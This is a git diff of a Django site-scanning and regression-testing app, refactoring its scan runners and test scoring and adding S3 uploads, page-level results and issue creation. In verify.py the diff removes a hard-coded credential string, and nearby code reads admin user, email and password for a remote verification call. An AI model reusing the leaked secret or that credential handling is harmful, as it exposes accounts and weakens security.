Test.objects.get(id=test_id) + Tester(test=test).run_test() + if automation_id is not None and automation_id != 'None': + print('running automation from `scanerr.check_scan_completion`') + Automater(automation_id, test.id).run_automation() + + # returning scan return scan +def _html_and_logs(scan_id: str, test_id: str=None, automation_id: str=None) -> object: + """ + Method to run the 'html' and 'logs' component of the scan + allowing for multi-threading. + Expects: { + scan_id: str, + test_id: str, + automation_id: str + } -def _html_and_logs(scan_id): + Returns -> `Scan` """ - Method to run the 'html' and 'logs' component of the scan - allowing for multi-threading. - returns -> `Scan` - """ + # retrieve scan scan = Scan.objects.get(id=scan_id) - if scan.configs['driver'] == 'selenium': - - driver = driver_s_init( + try: + # get html and logs using selenium + # init driver & get data + driver = driver_init( + browser=scan.configs.get('browser', 'chrome'), window_size=scan.configs['window_size'], device=scan.configs['device'] ) - driver.get(scan.site.site_url) - if 'html' in scan.type or 'full' in scan.type: - html = driver.page_source - scan = Scan.objects.get(id=scan_id) - scan.html = html - scan.save() - if 'logs' in scan.type or 'full' in scan.type: - logs = driver.get_log('browser') - scan = Scan.objects.get(id=scan_id) - scan.logs = logs - scan.save() - quit_driver(driver) - - - if scan.configs['driver'] == 'puppeteer': - - driver_data = asyncio.run( - get_data( - url=scan.site.site_url, - configs=scan.configs - ) + driver.get(scan.page.page_url) + driver_data = get_data( + driver=driver, + browser=scan.configs.get('browser', 'chrome'), + max_wait_time=int(scan.configs['max_wait_time']), + min_wait_time=int(scan.configs['min_wait_time']), + interval=int(scan.configs['interval']) ) if 'html' in scan.type or 'full' in scan.type: html = driver_data['html'] scan = Scan.objects.get(id=scan_id) - scan.html = html - scan.save() + save_html(html, scan) if 'logs' in scan.type or 'full' in scan.type: logs = driver_data['logs'] scan = Scan.objects.get(id=scan_id) scan.logs = logs scan.save() + quit_driver(driver) + except Exception as e: + print(e) + # try to quit selenium session + try: + quit_driver(driver) + except: + pass # checking if scan is done - scan = check_scan_completion(scan) + scan = check_scan_completion(scan, test_id, automation_id) + # return udpated scan return scan - -def _vrt(scan_id): +def _vrt(scan_id: str, test_id: str=None, automation_id: str=None) -> object: """ - Method to run the visual regression (vrt) component of the scan - allowing for multi-threading. + Method to run the visual regression (vrt) component of the scan + allowing for multi-threading. - returns -> `Scan` - """ - scan = Scan.objects.get(id=scan_id) - if scan.configs['driver'] == 'selenium': - driver = driver_s_init(window_size=scan.configs['window_size'], device=scan.configs['device']) - images = Image().scan(site=scan.site, driver=driver, configs=scan.configs) - quit_driver(driver) + Expects: { + scan_id: str, + test_id: str, + automation_id: str + } - if scan.configs['driver'] == 'puppeteer': - images = asyncio.run(Image().scan_p(site=scan.site, configs=scan.configs)) + Returns -> `Scan` + """ - # updating Scan object + # retrieve scan scan = Scan.objects.get(id=scan_id) - scan.images = images - scan.save() + + try: + # run Imager using selenium + driver = driver_init( + window_size=scan.configs.get('window_size', '1920,1080'), + device=scan.configs.get('device', 'desktop'), + browser=scan.configs.get('browser', 'chrome') + ) + images = Imager(scan=scan).scan_vrt(driver=driver) + quit_driver(driver) + + # updating Scan object + scan = Scan.objects.get(id=scan_id) + scan.images = images + scan.save() + except Exception as e: + print(e) # checking if scan is done - scan = check_scan_completion(scan) + scan = check_scan_completion(scan, test_id, automation_id) + # returning updated scan return scan - -def _lighthouse(scan_id): +def _lighthouse(scan_id: str, test_id: str=None, automation_id: str=None) -> object: """ - Method to run the lighthouse component of the scan - allowing for multi-threading. + Method to run the lighthouse component of the scan + allowing for multi-threading. - returns -> `Scan` - """ - scan = Scan.objects.get(id=scan_id) + Expects: { + scan_id: str, + test_id: str, + automation_id: str + } - # running lighthouse - lh_data = Lighthouse(site=scan.site, configs=scan.configs).get_data() + Returns -> `Scan` + """ - # updating Scan object + # retrieve scan scan = Scan.objects.get(id=scan_id) - scan.lighthouse = lh_data - scan.save() + + try: + # running lighthouse + lh_data = Lighthouse(scan=scan).get_data() + print(f'LIGHTHOUSE failure_status -> {lh_data.get('failed')}') + + # updating Scan object + scan = Scan.objects.get(id=scan_id) + scan.lighthouse = lh_data + scan.save() + except Exception as e: + scan.yellowlab['failed'] = True + scan.save() + print(e) # checking if scan is done - scan = check_scan_completion(scan) + scan = check_scan_completion(scan, test_id, automation_id) + # returning updated scan return scan - - -def _yellowlab(scan_id): +def _yellowlab(scan_id: str, test_id: str=None, automation_id: str=None) -> object: """ - Method to run the yellowlab component of the scan - allowing for multi-threading. + Method to run the yellowlab component of the scan + allowing for multi-threading. - returns -> `Scan` - """ - scan = Scan.objects.get(id=scan_id) + Expects: { + scan_id: str, + test_id: str, + automation_id: str + } - # running yellowlab - yl_data = Yellowlab(site=scan.site, configs=scan.configs).get_data() + Returns -> `Scan` + """ - # updating Scan object + # retrieve scan scan = Scan.objects.get(id=scan_id) - scan.yellowlab = yl_data - scan.save() + + try: + # running yellowlab + yl_data = Yellowlab(scan=scan).get_data() + print(f'YELLOWLAB failure_status -> {yl_data.get('failed')}') + + # updating Scan object + scan = Scan.objects.get(id=scan_id) + scan.yellowlab = yl_data + scan.save() + except Exception as e: + scan.yellowlab['failed'] = True + scan.save() + print(e) # checking if scan is done - scan = check_scan_completion(scan) + scan = check_scan_completion(scan, test_id, automation_id) + # returning updated scan return scan + + + + diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py index d5dd0d4a..0685135f 100644 --- a/app/api/utils/tester.py +++ b/app/api/utils/tester.py @@ -1,14 +1,37 @@ -from ..models import Site, Scan, Test -import time, os, sys, json, random, string, re -from difflib import SequenceMatcher, HtmlDiff, Differ +from ..models import * from datetime import datetime -from .image import Image +from .imager import Imager +from scanerr import settings +from difflib import SequenceMatcher +from .issuer import Issuer +import os, json, random, \ +string, re, requests, uuid, boto3 + + + class Tester(): + """ + Used to run and build all the + components of a new `Test` + + Expects -> { + 'test' : object, + } + + Use self.run_test() to create a new Test + + Returns -> `Test` object + """ + + + - def __init__(self, test): + def __init__(self, test: object): + + # setting defaults self.test = test self.pre_scan_html = [] self.post_scan_html = [] @@ -17,26 +40,45 @@ def __init__(self, test): self.delta_html_post = [] self.delta_html_pre = [] + # setup boto3 configurations + self.s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + + - def clean_html(self): - pre_scan_html = self.test.pre_scan.html.splitlines() - post_scan_html = self.test.post_scan.html.splitlines() + def clean_html(self) -> None: + # cleans both pre_ and post_ html + # and prepares them for comparison + # retrieveing data from remote s3 + pre_scan_html_raw = requests.get(self.test.pre_scan.html).text + post_scan_html_raw = requests.get(self.test.post_scan.html).text + pre_scan_html = pre_scan_html_raw.splitlines() + post_scan_html = post_scan_html_raw.splitlines() + + # setting watch lists white_list = ['csrfmiddlewaretoken', '',] tags = [ - '', '', '')) + # clean post_scan_html for line in post_scan_html: for item in white_list: if item in line: @@ -59,15 +102,21 @@ def clean_html(self): if sub not in tags: self.post_scan_html.append((sub+'>')) - return + return None + + - def clean_logs(self): + def clean_logs(self) -> None: + # cleans both pre_ and post_ logs + # and prepares them for comparison + + # setting defaults pre_scan_logs_json = self.test.pre_scan.logs post_scan_logs_json = self.test.post_scan.logs order = ("level", "source", "message") - + # cleaning pre_scan_logs for log in pre_scan_logs_json: new_log = {} for label in order: @@ -76,7 +125,7 @@ def clean_logs(self): new_log[label] = log.get(key) self.pre_scan_logs.append(json.dumps(new_log)) - + # cleaning post_scan_logs for log in post_scan_logs_json: new_log = {} for label in order: @@ -85,58 +134,80 @@ def clean_logs(self): new_log[label] = log.get(key) self.post_scan_logs.append(json.dumps(new_log)) - return + return None + + + + def compare_html(self) -> float: + # calculates the similarity of pre and post html + # using SequenceMatcher() - def compare_html(self): + # clean html first self.clean_html() - pre_scan = self.pre_scan_html - post_scan = self.post_scan_html + + # calculate score html_raw_score = SequenceMatcher( - None, pre_scan, post_scan + None, self.pre_scan_html, self.post_scan_html ).ratio() + # return score return html_raw_score - def compare_logs(self): + + def compare_logs(self) -> float: + # calculates the similarity of pre and post logs + # using SequenceMatcher() + + # clean logs first self.clean_logs() - pre_scan = list(self.pre_scan_logs) - post_scan = list(self.post_scan_logs) + + # calculate score logs_raw_score = SequenceMatcher( - None, pre_scan, post_scan + None, self.pre_scan_logs, self.post_scan_logs ).ratio() + # return score return logs_raw_score - def delta_html(self): + + + def delta_html(self) -> dict: + # Calculates the macro difference in pre_ & post_ html + # (i.e. difference in html nodes
). + # also generates the micro differences + # using self.post_proc_html() + + # calculate macro difference num_html_delta = len(self.pre_scan_html) - len(self.post_scan_html) num_html_ratio = len(self.pre_scan_html) / len(self.post_scan_html) if num_html_ratio > 1: num_html_ratio = len(self.post_scan_html) / len(self.pre_scan_html) + # building data for post_proc_html() for line in self.post_scan_html: if line not in self.pre_scan_html: self.delta_html_post.append(line) - for line in self.pre_scan_html: if line not in self.post_scan_html: self.delta_html_pre.append(line) - + # get pre_mciro_delta in html pre_micro_delta = self.post_proc_html( self.delta_html_pre, self.delta_html_post ) + # get post_mciro_delta in html post_micro_delta = self.post_proc_html( self.delta_html_post, self.delta_html_pre ) - + # formatting data data = { "num_html_delta": num_html_delta, "delta_html_post": self.delta_html_post, @@ -146,10 +217,17 @@ def delta_html(self): "post_micro_delta": post_micro_delta, } + # return updated data return data - def post_proc_html(self, primary_list, secondary_list): + + + def post_proc_html(self, primary_list: list, secondary_list: list) -> dict: + # generates a list of 8 char long chunks that are in + # the primary_list but not in the secondary_list + + # setting defaults delta_parsed = [] delta_parsed_diff = [] secondary_str = ''.join(str(i) for i in secondary_list) @@ -165,67 +243,89 @@ def post_proc_html(self, primary_list, secondary_list): if block != None and block != '' and block not in secondary_str: delta_parsed_diff.append(block) + # formatting data data = { "delta_parsed": delta_parsed, "delta_parsed_diff": delta_parsed_diff, } + # returning updated data return data - def html_micro_diff_score(self, post_delta_parsed_diff): + def html_micro_diff_score(self, post_delta_parsed_diff: list) -> float: + # Calculates a score by comparing + # post_delta_parsed_diff & pre_delta_parsed_diff + # building pre_delta_parsed_diff pre_delta_parsed_diff = [] for line in self.pre_scan_html: subStrings = re.findall('.{1,8}', line) for sub in subStrings: pre_delta_parsed_diff.append(sub) - + + # calculate score diff_length = len(pre_delta_parsed_diff) - len(post_delta_parsed_diff) diff_score = diff_length / len(pre_delta_parsed_diff) + # return score return diff_score - def post_proc_logs(self, log): + def post_proc_logs(self, log: str) -> dict: + # cleaning logs for comparions + # and convert to a dict + + # clean message log = json.loads(log) - log["message"].replace("\"", "\'") - letters = string.digits - timestamp = ''.join(random.choice(letters) for i in range(13)) + log["message"].replace("\"", "\'") + + # generate random timestamp + nums = string.digits + timestamp = ''.join(random.choice(nums) for i in range(13)) log['timestamp'] = timestamp + # return cleaned log return log - def delta_logs(self): + def delta_logs(self) -> dict: + # Calculates scores for log differences + # and builds lists to show diffferences + + # defaults + num_logs_ratio = 1 + delta_logs_post = [] + delta_logs_pre = [] + + # calc nums_log_delta (were there more in post_scan?) num_logs_delta = len(self.pre_scan_logs) - len(self.post_scan_logs) + # calculate ratio if len(self.post_scan_logs) > 0: num_logs_ratio = len(self.pre_scan_logs) / len(self.post_scan_logs) if num_logs_ratio > 1: - num_logs_ratio = 1 - else: - num_logs_ratio = 1 + num_logs_ratio = 1 - delta_logs_post = [] + # build list of not present post_scan_logs for log in self.post_scan_logs: if log not in self.pre_scan_logs: log = self.post_proc_logs(log) delta_logs_post.append(log) - - - delta_logs_pre = [] + + # build list of not present pre_scan_logs for log in self.pre_scan_logs: if log not in self.post_scan_logs: log = self.post_proc_logs(log) delta_logs_pre.append(log) + # formatting data data = { "num_logs_delta": num_logs_delta, "delta_logs_post": delta_logs_post, @@ -233,26 +333,32 @@ def delta_logs(self): "num_logs_ratio": num_logs_ratio, } + # returning data return data + def delta_lighthouse(self) -> dict: + # calculate the differences in LH + # scores between pre_ and post_ scans - def delta_lighthouse(self): try: + # get pre scores pre_seo = int(self.test.pre_scan.lighthouse["scores"]['seo']) pre_accessibility = int(self.test.pre_scan.lighthouse["scores"]['accessibility']) pre_performance = int(self.test.pre_scan.lighthouse["scores"]['performance']) pre_best_practices = int(self.test.pre_scan.lighthouse["scores"]['best_practices']) - pre_pwa = int(self.test.pre_scan.lighthouse["scores"]['pwa']) + # pre_pwa = int(self.test.pre_scan.lighthouse["scores"]['pwa']) if self.test.pre_scan.lighthouse["scores"]['pwa'] is not None else 0 + # get post scores post_seo = int(self.test.post_scan.lighthouse["scores"]['seo']) post_accessibility = int(self.test.post_scan.lighthouse["scores"]['accessibility']) post_performance = int(self.test.post_scan.lighthouse["scores"]['performance']) post_best_practices = int(self.test.post_scan.lighthouse["scores"]['best_practices']) - post_pwa = int(self.test.post_scan.lighthouse["scores"]['pwa']) + # post_pwa = int(self.test.post_scan.lighthouse["scores"]['pwa']) if self.test.pre_scan.lighthouse["scores"]['pwa'] is not None else 0 + # try to get pre and post crux scores try: pre_crux = int(self.test.pre_scan.lighthouse["scores"]['crux']) post_crux = int(self.test.post_scan.lighthouse["scores"]['crux']) @@ -262,34 +368,34 @@ def delta_lighthouse(self): post_crux = None crux_delta = 0 + # calculate individual deltas seo_delta = post_seo - pre_seo accessibility_delta = post_accessibility - pre_accessibility performance_delta = post_performance - pre_performance best_practices_delta = post_best_practices - pre_best_practices - pwa_delta = post_pwa - pre_pwa + # pwa_delta = post_pwa - pre_pwa + # calculate averages if post_crux is None: current_average = ( post_seo + post_accessibility + post_best_practices + - post_performance + post_pwa - )/5 - + post_performance # + post_pwa + )/4 old_average = ( pre_seo + pre_accessibility + pre_best_practices + - pre_performance + pre_pwa - )/5 - + pre_performance # + pre_pwa + )/4 else: current_average = ( post_seo + post_accessibility + post_best_practices + - post_performance + post_pwa + post_crux - )/6 - + post_performance + post_crux # + post_pwa + )/5 old_average = ( pre_seo + pre_accessibility + pre_best_practices + - pre_performance + pre_pwa + pre_crux - )/6 + pre_performance + pre_crux # + pre_pwa + )/5 + # calculate difference in averages average_delta = current_average - old_average except: @@ -297,36 +403,40 @@ def delta_lighthouse(self): accessibility_delta = None performance_delta = None best_practices_delta = None - pwa_delta = None + # pwa_delta = None crux_delta = None current_average = None average_delta = None + # formatting data data = { "scores": { "seo_delta": seo_delta, "accessibility_delta": accessibility_delta, "performance_delta": performance_delta, "best_practices_delta": best_practices_delta, - "pwa_delta": pwa_delta, + # "pwa_delta": pwa_delta, "crux_delta": crux_delta, "current_average": current_average, "average_delta": average_delta, } } + # returning data return data + def delta_yellowlab(self) -> dict: + # calculate the differences in YL + # scores between pre_ and post_ scans - - def delta_yellowlab(self): try: + # get pre scores pre_globalScore = int(self.test.pre_scan.yellowlab["scores"]['globalScore']) pre_pageWeight = int(self.test.pre_scan.yellowlab["scores"]['pageWeight']) - pre_requests = int(self.test.pre_scan.yellowlab["scores"]['requests']) + pre_images = int(self.test.pre_scan.yellowlab["scores"]['images']) pre_domComplexity = int(self.test.pre_scan.yellowlab["scores"]['domComplexity']) pre_javascriptComplexity = int(self.test.pre_scan.yellowlab["scores"]['javascriptComplexity']) pre_badJavascript = int(self.test.pre_scan.yellowlab["scores"]['badJavascript']) @@ -335,10 +445,11 @@ def delta_yellowlab(self): pre_badCSS = int(self.test.pre_scan.yellowlab["scores"]['badCSS']) pre_fonts = int(self.test.pre_scan.yellowlab["scores"]['fonts']) pre_serverConfig = int(self.test.pre_scan.yellowlab["scores"]['serverConfig']) - + + # get post scores post_globalScore = int(self.test.post_scan.yellowlab["scores"]['globalScore']) post_pageWeight = int(self.test.post_scan.yellowlab["scores"]['pageWeight']) - post_requests = int(self.test.post_scan.yellowlab["scores"]['requests']) + post_images = int(self.test.post_scan.yellowlab["scores"]['images']) post_domComplexity = int(self.test.post_scan.yellowlab["scores"]['domComplexity']) post_javascriptComplexity = int(self.test.post_scan.yellowlab["scores"]['javascriptComplexity']) post_badJavascript = int(self.test.post_scan.yellowlab["scores"]['badJavascript']) @@ -348,8 +459,9 @@ def delta_yellowlab(self): post_fonts = int(self.test.post_scan.yellowlab["scores"]['fonts']) post_serverConfig = int(self.test.post_scan.yellowlab["scores"]['serverConfig']) + # calculate individual deltas pageWeight_delta = post_pageWeight - pre_pageWeight - requests_delta = post_requests - pre_requests + images_delta = post_images - pre_images domComplexity_delta = post_domComplexity - pre_domComplexity javascriptComplexity_delta = post_javascriptComplexity - pre_javascriptComplexity badJavascript_delta = post_badJavascript - pre_badJavascript @@ -359,12 +471,13 @@ def delta_yellowlab(self): fonts_delta = post_fonts - pre_fonts serverConfig_delta = post_serverConfig - pre_serverConfig - average_delta = post_globalScore - pre_globalScore + # get current averag and calc average_delta current_average = post_globalScore - + average_delta = post_globalScore - pre_globalScore + except: pageWeight_delta = None - requests_delta = None + images_delta = None domComplexity_delta = None javascriptComplexity_delta = None badJavascript_delta = None @@ -376,10 +489,11 @@ def delta_yellowlab(self): average_delta = None current_average = None, + # formatting response data = { "scores": { "pageWeight_delta": pageWeight_delta, - "requests_delta": requests_delta, + "images_delta": images_delta, "domComplexity_delta": domComplexity_delta, "javascriptComplexity_delta": javascriptComplexity_delta, "badJavascript_delta": badJavascript_delta, @@ -393,27 +507,225 @@ def delta_yellowlab(self): } } + # returning data return data - def update_site_info(self, test): + + def get_lh_audits_deltas(self, scores: dict) -> str: + # finds and records the changes in LH audit data + # then saves as .json file in s3 and returns + + # defaults + audits = { + "seo":[], + "accessibility": [], + "performance": [], + "pwa": [], + "best_practices": [], + "crux": [] + } + + # get pre & post audits + pre_scan_audits = requests.get(self.test.pre_scan.lighthouse['audits']).json() + post_scan_audits = requests.get(self.test.post_scan.lighthouse['audits']).json() + + # deciding which categories to + # compare based on score + cats = [] + for key in scores: + # checking for a delta score + if '_delta' in key and 'average' not in key: + # check if delta not Zero + if scores[key] is not None: + if float(scores[key]) != 0: + cats.append(str(key).split('_delta')[0]) + + # compare each audit in each of the + # selected categories + for cat in cats: + for audit in post_scan_audits[cat]: + found = False + for aud in pre_scan_audits[cat]: + if audit == aud: + found = True + break + + # record post_ audit if not + # found in pre_ + if not found: + audits[cat].append(audit) + + # save data at .json in s3 + lh_audit_file_uri = self.save_data_to_s3(_data=audits) + + # return uri + return lh_audit_file_uri + + + + + def get_yl_audits_deltas(self, scores: dict) -> str: + # finds and records the changes in YL audit data + # then saves as .json file in s3 and returns + + # defaults + audits = { + "pageWeight":[], + "images": [], + "domComplexity": [], + "javascriptComplexity": [], + "badJavascript": [], + "jQuery": [], + "cssComplexity": [], + "badCSS": [], + "fonts": [], + "serverConfig": [], + } + + # get pre & post audits + pre_scan_audits = requests.get(self.test.pre_scan.yellowlab['audits']).json() + post_scan_audits = requests.get(self.test.post_scan.yellowlab['audits']).json() + + # deciding which categories to + # compare based on score + cats = [] + for key in scores: + # checking for a delta score + if '_delta' in key and 'average' not in key: + # check if delta not Zero + if scores[key] is not None: + if float(scores[key]) != 0: + cats.append(str(key).split('_delta')[0]) + + # compare each audit in each of the + # selected categories + for cat in cats: + for audit in post_scan_audits[cat]: + found = False + for aud in pre_scan_audits[cat]: + if audit == aud: + found = True + break + + # record post_ audit if not + # found in pre_ + if not found: + audits[cat].append(audit) + + # save data at .json in s3 + yl_audit_file_uri = self.save_data_to_s3(_data=audits) + + # return uri + return yl_audit_file_uri + + + + + def update_site_info(self, test: object) -> object: + # updates associated Site with + # new Test data + + # get associated site site = test.site - site.info['latest_test']['id'] = str(test.id) - site.info['latest_test']['time_created'] = str(test.time_created) - site.info['latest_test']['time_completed'] = str(test.time_completed) - site.info['latest_test']['score'] = (round(test.score * 100) / 100) - site.save() + # get pages + pages = Page.objects.filter(site=site) + + # get latest tests of pages + tests = [] + for page in pages: + if Test.objects.filter(page=page).exists(): + _test = Test.objects.filter(page=page).exclude( + time_completed=None + ).order_by('-time_completed') + if len(_test) > 0: + if _test[0].score is not None: + tests.append(_test[0].score) + + if len(tests) > 0: + + # calc site average of latest + site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100 + print(f'updating site with new test score -> {site_avg_test_score}') + + # update site info + site.info['latest_test']['id'] = str(test.id) + site.info['latest_test']['time_created'] = str(test.time_created) + site.info['latest_test']['time_completed'] = str(test.time_completed) + site.info['latest_test']['score'] = site_avg_test_score + site.info['latest_test']['status'] = test.status + site.save() + + # returning updated site return site + + + + + def update_page_info(self, test: object) -> object: + # updates associated Page with + # new Test data + + # get page + page = test.page + + # update page info + page.info['latest_test']['id'] = str(test.id) + page.info['latest_test']['time_created'] = str(test.time_created) + page.info['latest_test']['time_completed'] = str(test.time_completed) + page.info['latest_test']['score'] = (round(test.score * 100) / 100) + page.info['latest_test']['status'] = test.status + page.save() + + # return updated page + return page + + + + + def save_data_to_s3(self, _data: dict) -> str: + # Saves passed data as an s3 object and + # returns the remote uri as a str + + # save _data s3 json file + file_id = uuid.uuid4() + with open(f'{file_id}.json', 'w') as fp: + json.dump(_data, fp) + # upload to s3 and return url + data_file = os.path.join(settings.BASE_DIR, f'{file_id}.json') + remote_path = f'static/sites/{self.test.site.id}/{self.test.page.id}/{self.test.id}/{file_id}.json' + root_path = settings.AWS_S3_URL_PATH + data_file_uri = f"{root_path}/{remote_path}" + + # upload to s3 + with open(data_file, 'rb') as data: + self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), + remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"} + ) + + # remove local copy + os.remove(data_file) + # return uri + return data_file_uri + def run_test(self, index: int=None) -> object: + """ + Runs all the test components specified in the `Test` + and returns the updated `Test` + + Expects: { + 'index': int + } - def run_test(self, index=None): + Returns -> `Test` object + """ # update test obj with scan configs self.test.pre_scan_configs = self.test.pre_scan.configs @@ -442,115 +754,148 @@ def run_test(self, index=None): # default data html_delta_context = None + html_delta_uri = None logs_delta_context = None lighthouse_data = None yellowlab_data = None images_data = None - - + # testing html if 'html' in self.test.type or 'full' in self.test.type: - # scores - html_score = self.compare_html() - delta_html_data = self.delta_html() - num_html_ratio = delta_html_data['num_html_ratio'] - micro_diff_score = self.html_micro_diff_score( + try: + # scores + html_score = self.compare_html() + delta_html_data = self.delta_html() + num_html_ratio = delta_html_data['num_html_ratio'] + micro_diff_score = self.html_micro_diff_score( delta_html_data['post_micro_delta']['delta_parsed_diff'] ) - - # weights - html_score_w = 1 - num_html_w = 1 - micro_diff_w = 2 - - # data - html_delta_context = { - "pre_html_delta": delta_html_data['delta_html_pre'], - "post_html_delta": delta_html_data['delta_html_post'], - "pre_micro_delta": delta_html_data['pre_micro_delta'], - "post_micro_delta": delta_html_data['post_micro_delta'], - } - + + # weights + html_score_w = 1 + num_html_w = 1 + micro_diff_w = 2 + + # data + html_delta_context = { + "pre_html_delta": delta_html_data['delta_html_pre'], + "post_html_delta": delta_html_data['delta_html_post'], + "pre_micro_delta": delta_html_data['pre_micro_delta'], + "post_micro_delta": delta_html_data['post_micro_delta'], + } + + # save and get s3 object uri + html_delta_uri = self.save_data_to_s3(_data=html_delta_context) + print(f'html_delta => {html_delta_uri}') + except Exception as e: + print(e) + micro_diff_w = 0 + num_html_w = 0 + micro_diff_w = 0 + + - + # testing logs if 'logs' in self.test.type or 'full' in self.test.type: - # scores - logs_score = self.compare_logs() - delta_logs_data = self.delta_logs() - num_logs_ratio = delta_logs_data['num_logs_ratio'] - - # weights - logs_score_w = .5 - num_logs_w = 2 - - # data - logs_delta_context = { - "pre_logs_delta": delta_logs_data['delta_logs_pre'], - "post_logs_delta": delta_logs_data['delta_logs_post'], - } - - + try: + # scores + logs_score = self.compare_logs() + delta_logs_data = self.delta_logs() + num_logs_ratio = delta_logs_data['num_logs_ratio'] + + # weights + logs_score_w = .5 + num_logs_w = 2 + + # combined score + combined_logs_score = ((logs_score*logs_score_w) + (num_logs_ratio*num_logs_w))/2.5 + + # data + logs_delta_context = { + "pre_logs_delta": delta_logs_data['delta_logs_pre'], + "post_logs_delta": delta_logs_data['delta_logs_post'], + "combined_logs_score": combined_logs_score + } + except Exception as e: + logs_score_w = 0 + print(e) + + # testing LH if 'lighthouse' in self.test.type or 'full' in self.test.type: + try: # scores & data - lighthouse_data = self.delta_lighthouse() - lighthouse_avg = lighthouse_data['scores']['average_delta'] - if lighthouse_avg != None and lighthouse_avg > -100: - lighthouse_score = (100 + lighthouse_avg)/100 - if lighthouse_avg != None and lighthouse_avg <= -100: - lighthouse_score = 0 - - # weights - if lighthouse_score == None: + lighthouse_data = self.delta_lighthouse() + lh_audits_uri = self.get_lh_audits_deltas(scores=lighthouse_data['scores']) + lighthouse_data['audits'] = lh_audits_uri + lighthouse_avg = lighthouse_data['scores']['average_delta'] + if lighthouse_avg != None and lighthouse_avg > -100: + lighthouse_score = (100 + lighthouse_avg)/100 + if lighthouse_avg != None and lighthouse_avg <= -100: + lighthouse_score = 0 + + # weights + if lighthouse_score == None: + delta_lh_w = 0 + elif lighthouse_score > 1: + delta_lh_w = 1 + lighthouse_score = 1 + else: + delta_lh_w = 1 + except Exception as e: delta_lh_w = 0 - elif lighthouse_score > 1: - delta_lh_w = 1 - lighthouse_score = 1 - else: - delta_lh_w = 1 - - - + print(e) + + # testing YL if 'yellowlab' in self.test.type or 'full' in self.test.type: - # scores & data - yellowlab_data = self.delta_yellowlab() - yellowlab_avg = yellowlab_data['scores']['average_delta'] - if yellowlab_avg != None and yellowlab_avg > -100: - yellowlab_score = (100 + yellowlab_avg)/100 - if yellowlab_avg != None and yellowlab_avg <= -100: - yellowlab_score = 0 - - # weights - if yellowlab_score == None: + try: + # scores & data + yellowlab_data = self.delta_yellowlab() + yl_audits_uri = self.get_yl_audits_deltas(scores=yellowlab_data['scores']) + yellowlab_data['audits'] = yl_audits_uri + yellowlab_avg = yellowlab_data['scores']['average_delta'] + if yellowlab_avg != None and yellowlab_avg > -100: + yellowlab_score = (100 + yellowlab_avg)/100 + if yellowlab_avg != None and yellowlab_avg <= -100: + yellowlab_score = 0 + + # weights + if yellowlab_score == None: + delta_yl_w = 0 + elif yellowlab_score > 1: + delta_yl_w = 1 + yellowlab_score = 1 + else: + delta_yl_w = 1 + except Exception as e: delta_yl_w = 0 - elif yellowlab_score > 1: - delta_yl_w = 1 - yellowlab_score = 1 - else: - delta_yl_w = 1 - - - + print(e) + + # testing images if 'vrt' in self.test.type or 'full' in self.test.type: - # scores & data - images_data = Image().test(test=self.test, index=index) - if images_data['average_score'] != None: - images_score = images_data['average_score'] / 100 - - # weights - images_w = 4 + try: + # scores & data + images_data = Imager().test_vrt(test=self.test, index=index) + if images_data['average_score'] != None: + images_score = images_data['average_score'] / 100 + + # weights + images_w = 4 + except Exception as e: + images_w = 0 + print(e) - + # calculating total weight total_w = ( html_score_w + logs_score_w + num_html_w + num_logs_w + delta_lh_w + micro_diff_w + images_w + delta_yl_w ) - + # calculating final weighted average score score = (( (html_score * html_score_w) + (logs_score * logs_score_w) + @@ -562,7 +907,6 @@ def run_test(self, index=None): (images_score * images_w) ) / total_w) * 100 - print( "Formula was --> ((" + str(html_score*html_score_w) + " + " + str(logs_score*logs_score_w) + " + " + str(num_logs_ratio*num_logs_w) + " + " @@ -571,27 +915,33 @@ def run_test(self, index=None): " + " + str(yellowlab_score*delta_yl_w) + ") / " + str(total_w) + ") * 100 ===> " + str(score) ) - + # updating test data self.test.time_completed = datetime.now() - self.test.html_delta = html_delta_context + self.test.html_delta = html_delta_uri self.test.logs_delta = logs_delta_context self.test.lighthouse_delta = lighthouse_data self.test.yellowlab_delta = yellowlab_data self.test.images_delta = images_data self.test.score = score - self.test.component_scores['html'] = (micro_diff_score * 100) - self.test.component_scores['logs'] = (num_logs_ratio * 100) - self.test.component_scores['lighthouse'] = (lighthouse_score * 100) - self.test.component_scores['yellowlab'] = (yellowlab_score * 100) - self.test.component_scores['vrt'] = (images_score * 100) - - + self.test.status = 'passed' if score >= self.test.threshold else 'failed' + self.test.component_scores['html'] = (micro_diff_score * 100) if micro_diff_w != 0 else None + self.test.component_scores['logs'] = (logs_delta_context['combined_logs_score'] * 100) if num_logs_w != 0 else None + self.test.component_scores['lighthouse'] = (lighthouse_score * 100) if delta_lh_w != 0 else None + self.test.component_scores['yellowlab'] = (yellowlab_score * 100) if delta_yl_w != 0 else None + self.test.component_scores['vrt'] = (images_score * 100) if images_w != 0 else None self.test.save() + # updating associated page and site + self.update_page_info(self.test) self.update_site_info(self.test) - return self.test + # create issue if failed + if self.test.status == 'failed' and self.test.post_scan_configs.get('create_issue'): + print('generating new Issue...') + Issuer(test=self.test).build_issue() + # returning updated test + return self.test diff --git a/app/api/utils/verify.py b/app/api/utils/verify.py index eb119c4f..adfecd13 100644 --- a/app/api/utils/verify.py +++ b/app/api/utils/verify.py @@ -1,12 +1,16 @@ import os, requests, json + + + + + def verify(): username = os.environ.get('ADMIN_USER') email = os.environ.get('ADMIN_EMAIL') password = os.environ.get('ADMIN_PASS') - cred = 'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792' - url = 'https://scanerr.io/verify' - + cred = os.environ.get('CRED') + url = 'https://scanerr.io/api/verify' headers = { "Content-Type": "application/json", diff --git a/app/api/utils/wordpress.py b/app/api/utils/wordpress.py index f94ea864..a5de7704 100644 --- a/app/api/utils/wordpress.py +++ b/app/api/utils/wordpress.py @@ -1,4 +1,4 @@ -from .driver_s import driver_init, driver_wait +from .driver import driver_init, driver_wait from selenium import webdriver from selenium.webdriver.support.ui import Select from selenium.webdriver.common.keys import Keys @@ -11,7 +11,6 @@ - class Wordpress(): @@ -518,7 +517,7 @@ def run_migration(self): #

Your migration is complete!

